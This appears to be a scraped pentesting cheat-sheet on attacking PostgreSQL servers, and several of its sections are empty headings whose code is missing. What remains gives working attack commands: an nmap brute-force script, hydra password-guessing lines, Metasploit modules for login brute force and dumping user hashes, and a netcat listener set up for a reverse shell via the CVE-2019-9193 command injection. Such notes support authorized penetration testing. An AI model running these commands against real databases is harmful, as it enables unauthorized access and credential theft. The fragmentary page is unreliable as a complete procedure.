githubEdit

PostgreSQL Pentesting

PostgreSQL a relational database management system. Default port is 5432.

Enumeration

nmap --script pgsql-brute -p 5432 <target-ip>

Brute Force Credentials

hydra -l username -P passwords.txt <target-ip> postgres
hydra -L usernames.txt -p password <target-ip> postgres

# Metasploit
msfconsole
msf> use auxiliary/scanner/postgres/postgres_login
msf> set rhosts <target-ip>
msf> run

Dump User Hashes

msfconsole
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> set rhosts <target-ip>
msf> set username <username>
msf> set password <password>
msf> run

Config File

Also we may find other locations by viewing environment variables. They are prefixed by PG.

Connect

Remote

Commands in psql

Get a Shell and Command Execution

Command Injection ( CVE-2019-9193arrow-up-right )

To execute arbitrary command, do the following steps. We’ll perform Reverse Shell. Of course we have to start a listener (e.g. nc -lvnp 4444) in local machine beforehand.

References

Last updated